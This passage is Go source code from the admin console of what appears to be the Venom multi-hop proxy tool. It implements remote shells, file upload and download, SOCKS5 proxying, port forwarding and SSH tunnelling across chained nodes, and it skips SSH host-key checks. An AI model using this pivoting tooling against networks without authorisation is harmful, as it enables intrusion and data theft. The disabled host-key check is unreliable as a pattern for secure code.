22 | if currentPeerNodeHashID == node.CurrentNode.HashID { 23 | return true 24 | } 25 | return false 26 | } 27 | 28 | // need code refactoring 29 | // checkPeerNodeIsVaild 检查对端节点是否合法 30 | func checkPeerNodeIsVaild() bool { 31 | if currentPeerNodeHashID == node.CurrentNode.HashID { 32 | return true 33 | } else if node.Nodes[currentPeerNodeHashID] == nil { 34 | fmt.Println("the node is disconnected.") 35 | return false 36 | } 37 | return true 38 | } 39 | 40 | // need code refactoring 41 | // checkPeerNodeIsSelected 检查是否选择对端节点 42 | func checkPeerNodeIsSelected() bool { 43 | if currentPeerNodeHashID == node.CurrentNode.HashID { 44 | fmt.Println("you should choose the node first") 45 | return false 46 | } else if node.Nodes[currentPeerNodeHashID] == nil { 47 | fmt.Println("the node is disconnected.") 48 | return false 49 | } 50 | return true 51 | } 52 | 53 | func printNetworkMap() { 54 | printed := make(map[string]bool) 55 | fmt.Println("A") 56 | printed[node.CurrentNode.HashID] = true 57 | printEachMap(node.CurrentNode.HashID, 0, printed) 58 | } 59 | 60 | func printEachMap(nodeID string, depth int, printed map[string]bool) { 61 | for _, value := range node.GNetworkTopology.NetworkMap[nodeID] { 62 | if _, ok := printed[value]; ok { 63 | continue 64 | } 65 | for i := 0; i < depth; i++ { 66 | fmt.Print(" ") 67 | } 68 | fmt.Print("+ -- ") 69 | fmt.Println(node.GNodeInfo.NodeUUID2Number[value]) 70 | printed[value] = true 71 | printEachMap(value, depth+1, printed) 72 | } 73 | } 74 | 75 | // Interactive 交互式控制 76 | func Interactive() { 77 | // 处理ctrl c的SIGINT信号 78 | // sigs := make(chan os.Signal, 1) 79 | // signal.Notify(sigs, syscall.SIGINT) //, syscall.SIGTERM) 80 | // shellExit := true 81 | 82 | // go func() { 83 | // for { 84 | // <-sigs 85 | // if !shellExit { 86 | // // ctrl c 处理函数 87 | // fmt.Println("Ctrl-C") 88 | // } else { 89 | // os.Exit(0) 90 | // } 91 | // } 92 | // }() 93 | var nodeID int 94 | var peerNode *node.Node 95 | // init 96 | currentPeerNodeHashID = node.CurrentNode.HashID 97 | for { 98 | if currentPeerNodeHashID == node.CurrentNode.HashID { 99 | fmt.Print("(admin node) >>> ") 100 | } else { 101 | fmt.Printf("(node %d) >>> ", nodeID) 102 | } 103 | var cmdStr string 104 | fmt.Scanf("%s", &cmdStr) 105 | switch cmdStr { 106 | case "help": 107 | ShowUsage() 108 | case "show": 109 | dispather.SendSyncCmd() 110 | printNetworkMap() 111 | case "setdes": 112 | if !checkPeerNodeIsSelected() { 113 | break 114 | } 115 | var description string 116 | reader := bufio.NewReader(os.Stdin) 117 | descriptionBytes, _, _ := reader.ReadLine() 118 | description = string(descriptionBytes) 119 | node.GNodeInfo.NodeDescription[currentPeerNodeHashID] = description 120 | case "getdes": 121 | if !checkPeerNodeIsSelected() { 122 | break 123 | } 124 | fmt.Println(node.GNodeInfo.NodeDescription[currentPeerNodeHashID]) 125 | case "goto": 126 | // need code refactoring 127 | var tmpNodeID int 128 | fmt.Scanf("%d", &tmpNodeID) 129 | if tmpNodeID == 0 { 130 | // admin 131 | currentPeerNodeHashID = node.CurrentNode.HashID 132 | break 133 | } else if _, ok := node.GNodeInfo.NodeNumber2UUID[tmpNodeID]; ok { 134 | nodeID = tmpNodeID 135 | } else { 136 | fmt.Println("unknown node id.") 137 | break 138 | } 139 | currentPeerNodeHashID = node.GNodeInfo.NodeNumber2UUID[nodeID] 140 | // nextNodeID := node.GNetworkTopology.RouteTable[currentPeerNodeHashID] 141 | // nextNode = node.Nodes[nextNodeID] 142 | peerNode = node.Nodes[currentPeerNodeHashID] 143 | case "listen": 144 | var port uint16 145 | fmt.Scanf("%d", &port) 146 | fmt.Println("listen port", port) 147 | if port > 65535 || port < 1 { 148 | fmt.Println("port number error.") 149 | break 150 | } 151 | if checkPeerNodeIsVaild() { 152 | if isAdmin() { 153 | dispather.BuiltinListenCmd(port) 154 | } else { 155 | dispather.SendListenCmd(peerNode, port) 156 | } 157 | } 158 | case "connect": 159 | var ipString string 160 | var port uint16 161 | fmt.Scanf("%s %d", &ipString, &port) 162 | fmt.Println("connect to", ipString, port) 163 | ip := net.ParseIP(ipString) 164 | if ip == nil { 165 | fmt.Println("invalid ip address.") 166 | break 167 | } 168 | if checkPeerNodeIsVaild() { 169 | if isAdmin() { 170 | dispather.BuiltinConnectCmd(ipString, port) 171 | } else { 172 | dispather.SendConnectCmd(peerNode, ipString, port) 173 | } 174 | } 175 | case "socks": 176 | if !checkPeerNodeIsSelected() { 177 | break 178 | } 179 | var port uint16 180 | fmt.Scanf("%d", &port) 181 | if port > 65535 || port < 1 { 182 | fmt.Println("port number error.") 183 | break 184 | } 185 | dispather.SendSocks5Cmd(peerNode, port) 186 | case "shell": 187 | if !checkPeerNodeIsSelected() { 188 | break 189 | } 190 | utils.HandleWindowsCR() 191 | fmt.Println("You can execute commands in this shell :D, 'exit' to exit.") 192 | // shellExit = false 193 | dispather.SendShellCmd(peerNode) 194 | // shellExit = true 195 | continue 196 | case "upload": 197 | if !checkPeerNodeIsSelected() { 198 | break 199 | } 200 | var localPath string 201 | var remotePath string 202 | 203 | fmt.Scanf("%s %s", &localPath, &remotePath) 204 | fmt.Println("upload", localPath, fmt.Sprintf("to node %d:", nodeID), remotePath) 205 | dispather.SendUploadCmd(peerNode, localPath, remotePath) 206 | case "download": 207 | if !checkPeerNodeIsSelected() { 208 | break 209 | } 210 | var remotePath string 211 | var localPath string 212 | fmt.Scanf("%s %s", &remotePath, &localPath) 213 | fmt.Println("download", localPath, fmt.Sprintf("from node %d:", nodeID), remotePath) 214 | dispather.SendDownloadCmd(peerNode, remotePath, localPath) 215 | case "lforward": 216 | if !checkPeerNodeIsSelected() { 217 | break 218 | } 219 | var sport uint16 220 | var dport uint16 221 | var lhostString string 222 | fmt.Scanf("%s %d %d", &lhostString, &sport, &dport) 223 | lhost := net.ParseIP(lhostString) 224 | if lhost == nil { 225 | fmt.Println("invalid ip address.") 226 | break 227 | } 228 | fmt.Printf("forward local network %s port %d to remote port %d\n", lhostString, sport, dport) 229 | dispather.SendLForwardCmd(peerNode, sport, lhostString, dport) 230 | case "rforward": 231 | if !checkPeerNodeIsSelected() { 232 | break 233 | } 234 | var sport uint16 235 | var dport uint16 236 | var rhostString string 237 | fmt.Scanf("%s %d %d", &rhostString, &sport, &dport) 238 | rhost := net.ParseIP(rhostString) 239 | if rhost == nil { 240 | fmt.Println("invalid ip address.") 241 | break 242 | } 243 | fmt.Printf("forward remote network %s port %d to local port %d\n", rhostString, sport, dport) 244 | dispather.SendRForwardCmd(peerNode, rhostString, sport, dport) 245 | case "sshconnect": 246 | // sshconnect user:password@10.1.1.1:22 9999 247 | var sshString string 248 | var dport uint16 249 | fmt.Scanf("%s %d", &sshString, &dport) 250 | var sshUser string 251 | var sshHost string 252 | var sshPort uint16 253 | if parts := strings.Split(sshString, "@"); len(parts) > 1 { 254 | sshUser = parts[0] 255 | sshHost = parts[1] 256 | } 257 | parts := strings.Split(sshHost, ":") 258 | sshHost = parts[0] 259 | if len(parts) > 1 { 260 | tmp, _ := strconv.Atoi(parts[1]) 261 | sshPort = uint16(tmp) 262 | } else if len(parts) == 1 { 263 | sshPort = 22 264 | } 265 | if net.ParseIP(sshHost) == nil { 266 | fmt.Println("invalid ssh server ip address.") 267 | break 268 | } 269 | fmt.Print("use password (1) / ssh key (2)? ") 270 | var choice uint16 271 | fmt.Scanf("%d", &choice) 272 | if checkPeerNodeIsVaild() { 273 | switch choice { 274 | case 1: 275 | fmt.Print("password: ") 276 | var password string 277 | fmt.Scanf("%s", &password) 278 | fmt.Printf("connect to target host's %d through ssh tunnel (%s@%s:%d).\n", dport, sshUser, sshHost, sshPort) 279 | if isAdmin() { 280 | dispather.BuiltinSshConnectCmd(sshUser, sshHost, sshPort, dport, choice, password) 281 | } else { 282 | dispather.SendSshConnectCmd(peerNode, sshUser, sshHost, sshPort, dport, choice, password) 283 | } 284 | case 2: 285 | fmt.Print("file path of ssh key: ") 286 | var path string 287 | fmt.Scanf("%s", &path) 288 | sshKey, err := ioutil.ReadFile(path) 289 | if err != nil { 290 | fmt.Println("ssh key error:", err) 291 | break 292 | } 293 | fmt.Printf("connect to target host's %d through ssh tunnel (%s@%s:%d).\n", dport, sshUser, sshHost, sshPort) 294 | if isAdmin() { 295 | dispather.BuiltinSshConnectCmd(sshUser, sshHost, sshPort, dport, choice, string(sshKey)) 296 | } else { 297 | dispather.SendSshConnectCmd(peerNode, sshUser, sshHost, sshPort, dport, choice, string(sshKey)) 298 | } 299 | default: 300 | fmt.Println("unknown choice.") 301 | break 302 | } 303 | } 304 | case "exit": 305 | os.Exit(0) 306 | case "": 307 | continue 308 | default: 309 | fmt.Println("unknown command, use \"help\" to see all commands.") 310 | } 311 | utils.HandleWindowsCR() 312 | } 313 | } 314 | -------------------------------------------------------------------------------- /admin/dispather/builtin.go: -------------------------------------------------------------------------------- 1 | package dispather 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "time" 7 | 8 | "github.com/Dliv3/Venom/netio" 9 | "golang.org/x/crypto/ssh" 10 | ) 11 | 12 | const TIMEOUT = 5 13 | 14 | func BuiltinSshConnectCmd(sshUser string, sshHost string, sshPort uint16, dport uint16, sshAuthMethod uint16, sshAuthData string) { 15 | var auth ssh.AuthMethod 16 | if sshAuthMethod == 1 { 17 | auth = ssh.Password(sshAuthData) 18 | } else if sshAuthMethod == 2 { 19 | key, err := ssh.ParsePrivateKey([]byte(sshAuthData)) 20 | if err != nil { 21 | fmt.Println("ssh failed to connects to the remote node !") 22 | fmt.Println("ssh key error!") 23 | return 24 | } 25 | auth = ssh.PublicKeys(key) 26 | } 27 | 28 | config := ssh.ClientConfig{ 29 | User: sshUser, 30 | Auth: []ssh.AuthMethod{ 31 | auth, 32 | }, 33 | HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { 34 | return nil 35 | }, 36 | Timeout: time.Duration(time.Second * TIMEOUT), 37 | } 38 | 39 | sshClient, err := ssh.Dial( 40 | "tcp", 41 | fmt.Sprintf("%s:%d", sshHost, sshPort), 42 | &config, 43 | ) 44 | if err != nil { 45 | fmt.Println("ssh failed to connects to the remote node !") 46 | fmt.Printf("ssh connection error: %s\n", err) 47 | return 48 | } 49 | 50 | nodeConn, err := sshClient.Dial("tcp", fmt.Sprintf("127.0.0.1:%d", dport)) 51 | if err != nil { 52 | fmt.Println("ssh failed to connects to the remote node !") 53 | fmt.Printf("ssh connect to target node error: %s\n", err) 54 | return 55 | } 56 | AdminClient(nodeConn) 57 | } 58 | 59 | func BuiltinListenCmd(port uint16) { 60 | err := netio.InitNode( 61 | "listen", 62 | fmt.Sprintf("0.0.0.0:%d", port), 63 | AdminServer, false, 0) 64 | if err != nil { 65 | fmt.Println(fmt.Sprintf("failed to open the port %d!", port)) 66 | return 67 | } 68 | fmt.Printf("the port %d is successfully listening on the remote node!\n", port) 69 | } 70 | 71 | func BuiltinConnectCmd(ipString string, port uint16) { 72 | err := netio.InitNode( 73 | "connect", 74 | fmt.Sprintf("%s:%d", ipString, port), 75 | AdminClient, false, 0) 76 | if err != nil { 77 | fmt.Println("failed to connect to the remote node!") 78 | fmt.Println(err) 79 | return 80 | } 81 | fmt.Println("successfully connect to the remote node!") 82 | } 83 | -------------------------------------------------------------------------------- /admin/dispather/forward.go: -------------------------------------------------------------------------------- 1 | package dispather 2 | 3 | import ( 4 | "bytes" 5 | "io" 6 | "runtime" 7 | 8 | "github.com/Dliv3/Venom/global" 9 | "github.com/Dliv3/Venom/node" 10 | "github.com/Dliv3/Venom/protocol" 11 | "github.com/Dliv3/Venom/utils" 12 | ) 13 | 14 | func CopyStdin2Node(input io.Reader, output *node.Node, c chan bool) { 15 | 16 | orgBuf := make([]byte, global.MAX_PACKET_SIZE-8) 17 | 18 | for { 19 | count, err := input.Read(orgBuf) 20 | 21 | // fmt.Println(orgBuf[:count]) 22 | 23 | var buf []byte 24 | 25 | // // delete \r 26 | if runtime.GOOS == "windows" { 27 | buf = bytes.Replace(orgBuf[:count], []byte("\r"), []byte(""), -1) 28 | count = len(buf) 29 | } else { 30 | buf = orgBuf 31 | } 32 | // fmt.Println(buf[:count]) 33 | if count > 0 { 34 | data := protocol.ShellPacketCmd{ 35 | Start: 1, 36 | CmdLen: uint32(count), 37 | Cmd: buf[:count], 38 | } 39 | packetHeader := protocol.PacketHeader{ 40 | Separator: global.PROTOCOL_SEPARATOR, 41 | CmdType: protocol.SHELL, 42 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 43 | DstHashID: utils.UUIDToArray32(output.HashID), 44 | } 45 | writeErr := output.WritePacket(packetHeader, data) 46 | if writeErr != nil { 47 | // 强制结束 CommandBuffers[protocol.SHELL] 48 | node.CurrentNode.CommandBuffers[protocol.SHELL].WriteCloseMessage() 49 | } 50 | if string(buf[:count]) == "exit\n" { 51 | break 52 | } 53 | } 54 | if err != nil { 55 | break 56 | } 57 | } 58 | c <- true 59 | // fmt.Println("CopyStdin2Node Exit") 60 | 61 | return 62 | } 63 | 64 | func CopyNode2Stdout(input *node.Node, output io.Writer, c chan bool) { 65 | for { 66 | var packetHeader protocol.PacketHeader 67 | var shellPacketRet protocol.ShellPacketRet 68 | err := node.CurrentNode.CommandBuffers[protocol.SHELL].ReadPacket(&packetHeader, &shellPacketRet) 69 | if err != nil { 70 | break 71 | } 72 | if shellPacketRet.Success == 0 { 73 | break 74 | } 75 | output.Write(shellPacketRet.Data) 76 | } 77 | c <- true 78 | // fmt.Println("CopyNode2Stdout Exit") 79 | 80 | return 81 | } 82 | -------------------------------------------------------------------------------- /admin/dispather/handler.go: -------------------------------------------------------------------------------- 1 | package dispather 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | 7 | "github.com/Dliv3/Venom/crypto" 8 | "github.com/Dliv3/Venom/global" 9 | "github.com/Dliv3/Venom/netio" 10 | "github.com/Dliv3/Venom/node" 11 | "github.com/Dliv3/Venom/protocol" 12 | "github.com/Dliv3/Venom/utils" 13 | ) 14 | 15 | // AdminClient Admin节点作为Client 16 | func AdminClient(conn net.Conn) { 17 | result, peerNode := node.ClentInitConnection(conn) 18 | if result { 19 | go node.CurrentNode.CommandHandler(peerNode) 20 | } 21 | } 22 | 23 | // AdminServer Admin节点作为Server 24 | func AdminServer(conn net.Conn) { 25 | fmt.Println("\n[+]Remote connection: ", conn.RemoteAddr()) 26 | result, peerNode := node.ServerInitConnection(conn) 27 | if result { 28 | fmt.Print("[+]A new node connect to admin node success") 29 | go node.CurrentNode.CommandHandler(peerNode) 30 | } 31 | } 32 | 33 | var LForwardTarget map[string]bool 34 | 35 | func InitAdminHandler() { 36 | LForwardTarget = make(map[string]bool) 37 | go handleLForward() 38 | } 39 | 40 | func handleLForward() { 41 | for { 42 | var packetHeaderRet protocol.PacketHeader 43 | var lforwardPacketRet protocol.NetLForwardPacketRet 44 | 45 | node.CurrentNode.CommandBuffers[protocol.LFORWARD].ReadPacket(&packetHeaderRet, &lforwardPacketRet) 46 | 47 | if lforwardPacketRet.Success == 0 { 48 | fmt.Println("lforward error on agent.") 49 | continue 50 | } 51 | 52 | peerNode := node.Nodes[utils.Array32ToUUID(packetHeaderRet.SrcHashID)] 53 | 54 | sessionID := lforwardPacketRet.SessionID 55 | 56 | // 初始化对应SessionID的Buffer 57 | peerNode.DataBuffers[protocol.LFORWARDDATA].NewDataBuffer(sessionID) 58 | 59 | lhost := utils.Uint32ToIp(lforwardPacketRet.LHost).String() 60 | sport := lforwardPacketRet.SrcPort 61 | 62 | if _, ok := LForwardTarget[crypto.Sha256(fmt.Sprintf("%s:%d", lhost, sport))]; !ok { 63 | continue 64 | } 65 | 66 | err := netio.InitTCP( 67 | "connect", 68 | fmt.Sprintf("%s:%d", lhost, sport), 69 | peerNode.HashID, 70 | func(conn net.Conn, peerNodeID string, done chan bool, args ...interface{}) { 71 | defer func() { 72 | // fmt.Println(" ################ admin close ################") 73 | closeData := protocol.NetDataPacket{ 74 | SessionID: sessionID, 75 | Close: 1, 76 | } 77 | packetHeader := protocol.PacketHeader{ 78 | Separator: global.PROTOCOL_SEPARATOR, 79 | CmdType: protocol.LFORWARDDATA, 80 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 81 | DstHashID: utils.UUIDToArray32(peerNode.HashID), 82 | } 83 | peerNode.WritePacket(packetHeader, closeData) 84 | 85 | // peerNode.DataBuffers[protocol.LFORWARDDATA].RealseDataBuffer(sessionID) 86 | // runtime.GC() 87 | }() 88 | c := make(chan bool, 2) 89 | 90 | go node.CopyNet2Node(conn, peerNode, sessionID, protocol.LFORWARDDATA, c) 91 | go node.CopyNode2Net(peerNode, conn, sessionID, protocol.LFORWARDDATA, c) 92 | 93 | <-c 94 | }) 95 | 96 | if err != nil { 97 | // fmt.Println("################ admin close ################") 98 | closeData := protocol.NetDataPacket{ 99 | SessionID: sessionID, 100 | Close: 1, 101 | } 102 | packetHeader := protocol.PacketHeader{ 103 | Separator: global.PROTOCOL_SEPARATOR, 104 | CmdType: protocol.LFORWARDDATA, 105 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 106 | DstHashID: utils.UUIDToArray32(peerNode.HashID), 107 | } 108 | peerNode.WritePacket(packetHeader, closeData) 109 | 110 | // peerNode.DataBuffers[protocol.LFORWARDDATA].RealseDataBuffer(sessionID) 111 | // runtime.GC() 112 | } 113 | } 114 | } 115 | -------------------------------------------------------------------------------- /admin/dispather/proxy.go: -------------------------------------------------------------------------------- 1 | package dispather 2 | 3 | import ( 4 | "encoding/binary" 5 | "errors" 6 | "io" 7 | "log" 8 | "net" 9 | "strconv" 10 | 11 | "github.com/Dliv3/Venom/global" 12 | "github.com/Dliv3/Venom/node" 13 | "github.com/Dliv3/Venom/protocol" 14 | "github.com/Dliv3/Venom/utils" 15 | ) 16 | 17 | var ( 18 | Commands = []string{"CONNECT", "BIND", "UDP ASSOCIATE"} 19 | AddrType = []string{"", "IPv4", "", "Domain", "IPv6"} 20 | Conns = make([]net.Conn, 0) 21 | Verbose = false 22 | 23 | errAddrType = errors.New("socks addr type not supported") 24 | errVer = errors.New("socks version not supported") 25 | errMethod = errors.New("socks only support noauth method") 26 | errAuthExtraData = errors.New("socks authentication get extra data") 27 | errReqExtraData = errors.New("socks request get extra data") 28 | errCmd = errors.New("socks only support connect command") 29 | ) 30 | 31 | const ( 32 | socksVer5 = 0x05 33 | socksCmdConnect = 0x01 34 | ) 35 | 36 | func AdminHandShake(conn net.Conn, peerNode *node.Node, currentSessionID uint16) (err error) { 37 | const ( 38 | idVer = 0 39 | idNmethod = 1 40 | ) 41 | 42 | buf := make([]byte, 258) 43 | 44 | var n int 45 | 46 | // make sure we get the nmethod field 47 | // when node is admin 48 | 49 | if n, err = io.ReadAtLeast(conn, buf, idNmethod+1); err != nil { 50 | return 51 | } 52 | 53 | socks5Data := protocol.NetDataPacket{ 54 | SessionID: currentSessionID, 55 | DataLen: uint32(n), 56 | Data: buf[:n], 57 | } 58 | size, _ := utils.PacketSize(socks5Data) 59 | packetHeader := protocol.PacketHeader{ 60 | Separator: global.PROTOCOL_SEPARATOR, 61 | CmdType: protocol.SOCKSDATA, 62 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 63 | DstHashID: utils.UUIDToArray32(peerNode.HashID), 64 | DataLen: size, 65 | } 66 | peerNode.WritePacket(packetHeader, socks5Data) 67 | 68 | if buf[idVer] != socksVer5 { 69 | return errVer 70 | } 71 | 72 | nmethod := int(buf[idNmethod]) // client support auth mode 73 | msgLen := nmethod + 2 // auth msg length 74 | if n == msgLen { // handshake done, common case 75 | // do nothing, jump directly to send confirmation 76 | } else if n < msgLen { // has more methods to read, rare case 77 | if _, err = io.ReadFull(conn, buf[n:msgLen]); err != nil { 78 | return 79 | } 80 | socks5Data := protocol.NetDataPacket{ 81 | SessionID: currentSessionID, 82 | DataLen: uint32(msgLen - n), 83 | Data: buf[n:msgLen], 84 | } 85 | size, _ := utils.PacketSize(socks5Data) 86 | packetHeader := protocol.PacketHeader{ 87 | Separator: global.PROTOCOL_SEPARATOR, 88 | CmdType: protocol.SOCKSDATA, 89 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 90 | DstHashID: utils.UUIDToArray32(peerNode.HashID), 91 | DataLen: size, 92 | } 93 | peerNode.WritePacket(packetHeader, socks5Data) 94 | } else { // error, should not get extra data 95 | return errAuthExtraData 96 | } 97 | return 98 | } 99 | 100 | func AdminParseTarget(conn net.Conn, peerNode *node.Node, currentSessionID uint16) (host string, err error) { 101 | const ( 102 | idVer = 0 103 | idCmd = 1 104 | idType = 3 // address type index 105 | idIP0 = 4 // ip addres start index 106 | idDmLen = 4 // domain address length index 107 | idDm0 = 5 // domain address start index 108 | 109 | typeIPv4 = 1 // type is ipv4 address 110 | typeDm = 3 // type is domain address 111 | typeIPv6 = 4 // type is ipv6 address 112 | 113 | lenIPv4 = 3 + 1 + net.IPv4len + 2 // 3(ver+cmd+rsv) + 1addrType + ipv4 + 2port 114 | lenIPv6 = 3 + 1 + net.IPv6len + 2 // 3(ver+cmd+rsv) + 1addrType + ipv6 + 2port 115 | lenDmBase = 3 + 1 + 1 + 2 // 3 + 1addrType + 1addrLen + 2port, plus addrLen 116 | ) 117 | // refer to getRequest in server.go for why set buffer size to 263 118 | buf := make([]byte, 263) 119 | var n int 120 | 121 | // read till we get possible domain length field 122 | if n, err = io.ReadAtLeast(conn, buf, idDmLen+1); err != nil { 123 | return 124 | } 125 | 126 | socks5Data := protocol.NetDataPacket{ 127 | SessionID: currentSessionID, 128 | DataLen: uint32(n), 129 | Data: buf[:n], 130 | } 131 | size, _ := utils.PacketSize(socks5Data) 132 | packetHeader := protocol.PacketHeader{ 133 | Separator: global.PROTOCOL_SEPARATOR, 134 | CmdType: protocol.SOCKSDATA, 135 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 136 | DstHashID: utils.UUIDToArray32(peerNode.HashID), 137 | DataLen: size, 138 | } 139 | peerNode.WritePacket(packetHeader, socks5Data) 140 | 141 | // check version and cmd 142 | if buf[idVer] != socksVer5 { 143 | err = errVer 144 | return 145 | } 146 | 147 | /* 148 | CONNECT X'01' 149 | BIND X'02' 150 | UDP ASSOCIATE X'03' 151 | */ 152 | 153 | if buf[idCmd] > 0x03 || buf[idCmd] == 0x00 { 154 | log.Println("Unknown Command", buf[idCmd]) 155 | } 156 | 157 | if Verbose { 158 | log.Println("Command:", Commands[buf[idCmd]-1]) 159 | } 160 | 161 | if buf[idCmd] != socksCmdConnect { // only support CONNECT mode 162 | err = errCmd 163 | return 164 | } 165 | 166 | // read target address 167 | reqLen := -1 168 | switch buf[idType] { 169 | case typeIPv4: 170 | reqLen = lenIPv4 171 | case typeIPv6: 172 | reqLen = lenIPv6 173 | case typeDm: // domain name 174 | reqLen = int(buf[idDmLen]) + lenDmBase 175 | default: 176 | err = errAddrType 177 | return 178 | } 179 | 180 | if n == reqLen { 181 | // common case, do nothing 182 | } else if n < reqLen { // rare case 183 | if _, err = io.ReadFull(conn, buf[n:reqLen]); err != nil { 184 | return 185 | } 186 | socks5Data := protocol.NetDataPacket{ 187 | SessionID: currentSessionID, 188 | DataLen: uint32(reqLen - n), 189 | Data: buf[n:reqLen], 190 | } 191 | size, _ := utils.PacketSize(socks5Data) 192 | packetHeader := protocol.PacketHeader{ 193 | Separator: global.PROTOCOL_SEPARATOR, 194 | CmdType: protocol.SOCKSDATA, 195 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 196 | DstHashID: utils.UUIDToArray32(peerNode.HashID), 197 | DataLen: size, 198 | } 199 | peerNode.WritePacket(packetHeader, socks5Data) 200 | } else { 201 | err = errReqExtraData 202 | return 203 | } 204 | 205 | switch buf[idType] { 206 | case typeIPv4: 207 | host = net.IP(buf[idIP0 : idIP0+net.IPv4len]).String() 208 | case typeIPv6: 209 | host = net.IP(buf[idIP0 : idIP0+net.IPv6len]).String() 210 | case typeDm: 211 | host = string(buf[idDm0 : idDm0+buf[idDmLen]]) 212 | } 213 | port := binary.BigEndian.Uint16(buf[reqLen-2 : reqLen]) 214 | host = net.JoinHostPort(host, strconv.Itoa(int(port))) 215 | return 216 | } 217 | -------------------------------------------------------------------------------- /admin/dispather/sender.go: -------------------------------------------------------------------------------- 1 | package dispather 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "net" 7 | "os" 8 | 9 | "github.com/Dliv3/Venom/crypto" 10 | "github.com/Dliv3/Venom/global" 11 | "github.com/Dliv3/Venom/netio" 12 | "github.com/Dliv3/Venom/node" 13 | "github.com/Dliv3/Venom/protocol" 14 | "github.com/Dliv3/Venom/utils" 15 | "github.com/cheggaaa/pb/v3" 16 | ) 17 | 18 | // SendSyncCmd 发送同步网络拓扑的命令 19 | func SendSyncCmd() { 20 | 21 | // 重新初始化网络拓扑,这样当有节点断开时网络拓扑会实时改变 22 | node.GNetworkTopology.InitNetworkMap() 23 | 24 | networkMap := node.GNetworkTopology.GenerateNetworkMapData() 25 | 26 | for i := range node.Nodes { 27 | // 向直连的节点发送SYNC数据包,同步网络拓扑 28 | // 目标节点会递归处理SYNC数据包,以获得全网拓扑 29 | if node.Nodes[i].DirectConnection { 30 | 31 | // 构造命令数据包 32 | packetHeader := protocol.PacketHeader{ 33 | Separator: global.PROTOCOL_SEPARATOR, 34 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 35 | DstHashID: utils.UUIDToArray32(node.Nodes[i].HashID), 36 | CmdType: protocol.SYNC, 37 | } 38 | // 生成本节点网络拓扑数据 39 | syncPacket := protocol.SyncPacket{ 40 | NetworkMapLen: uint64(len(networkMap)), 41 | NetworkMap: networkMap, 42 | } 43 | 44 | // 发送命令数据包 45 | node.Nodes[i].WritePacket(packetHeader, syncPacket) 46 | 47 | // 读取返回数据包 48 | node.CurrentNode.CommandBuffers[protocol.SYNC].ReadPacket(&packetHeader, &syncPacket) 49 | 50 | // 解析网络拓扑数据包 51 | node.GNetworkTopology.ResolveNetworkMapData(syncPacket.NetworkMap) 52 | } 53 | } 54 | 55 | // 生成路由表 56 | node.GNetworkTopology.UpdateRouteTable() 57 | 58 | // 生成节点信息 59 | node.GNodeInfo.UpdateNoteInfo() 60 | 61 | // fmt.Println(node.CurrentNode.HashID) 62 | // fmt.Println(node.GNetworkTopology.RouteTable) 63 | // fmt.Println(node.GNetworkTopology.NetworkMap) 64 | 65 | // 创建Node结构体 66 | // TODO 是否应该动态更新?目前觉得不需要,断掉的节点也可以留着,动态更新反而麻烦 67 | for key, value := range node.GNetworkTopology.RouteTable { 68 | if _, ok := node.Nodes[key]; !ok { 69 | // node.Nodes[key] = &node.Node{ 70 | // HashID: key, 71 | // Conn: node.Nodes[value].Conn, 72 | // ConnReadLock: &sync.Mutex{}, 73 | // ConnWriteLock: &sync.Mutex{}, 74 | // // Socks5SessionIDLock: &sync.Mutex{}, 75 | // // Socks5DataBufferLock: &sync.RWMutex{}, 76 | // } 77 | // node.Nodes[key].InitDataBuffer() 78 | 79 | node.Nodes[key] = node.NewNode( 80 | 0, 81 | key, 82 | node.Nodes[value].Conn, 83 | false, 84 | ) 85 | } 86 | } 87 | 88 | } 89 | 90 | // SendListenCmd 发送监听端口命令 91 | func SendListenCmd(peerNode *node.Node, port uint16) { 92 | listenPacketCmd := protocol.ListenPacketCmd{ 93 | Port: port, 94 | } 95 | packetHeader := protocol.PacketHeader{ 96 | Separator: global.PROTOCOL_SEPARATOR, 97 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 98 | DstHashID: utils.UUIDToArray32(peerNode.HashID), 99 | CmdType: protocol.LISTEN, 100 | } 101 | 102 | peerNode.WritePacket(packetHeader, listenPacketCmd) 103 | 104 | var listenPacketRet protocol.ListenPacketRet 105 | node.CurrentNode.CommandBuffers[protocol.LISTEN].ReadPacket(&packetHeader, &listenPacketRet) 106 | 107 | if listenPacketRet.Success == 1 { 108 | fmt.Println(fmt.Sprintf("the port %d is successfully listening on the remote node!", port)) 109 | } else { 110 | fmt.Println(fmt.Sprintf("failed to open the port %d on the remote node!", port)) 111 | fmt.Println(string(listenPacketRet.Msg)) 112 | } 113 | } 114 | 115 | // SendConnectCmd 发送连接命令 116 | func SendConnectCmd(peerNode *node.Node, ip string, port uint16) { 117 | connectPacketCmd := protocol.ConnectPacketCmd{ 118 | IP: utils.IpToUint32(net.ParseIP(ip)), 119 | Port: port, 120 | } 121 | packetHeader := protocol.PacketHeader{ 122 | Separator: global.PROTOCOL_SEPARATOR, 123 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 124 | DstHashID: utils.UUIDToArray32(peerNode.HashID), 125 | CmdType: protocol.CONNECT, 126 | } 127 | 128 | peerNode.WritePacket(packetHeader, connectPacketCmd) 129 | 130 | var connectPacketRet protocol.ConnectPacketRet 131 | node.CurrentNode.CommandBuffers[protocol.CONNECT].ReadPacket(&packetHeader, &connectPacketRet) 132 | 133 | if connectPacketRet.Success == 1 { 134 | fmt.Println("successfully connect to the remote node!") 135 | } else { 136 | fmt.Println("failed to connect to the remote node!") 137 | fmt.Println(string(connectPacketRet.Msg)) 138 | } 139 | } 140 | 141 | // SendDownloadCmd 发送下载命令 142 | func SendDownloadCmd(peerNode *node.Node, remotePath string, localPath string) bool { 143 | /* ----------- before download file ---------- */ 144 | if utils.FileExists(localPath) { 145 | fmt.Println("local file already exists") 146 | return false 147 | } 148 | 149 | localFile, err := os.OpenFile(localPath, os.O_WRONLY|os.O_CREATE, 0644) 150 | if err != nil { 151 | fmt.Println(err) 152 | return false 153 | } 154 | 155 | defer localFile.Close() 156 | 157 | downloadPacketCmd := 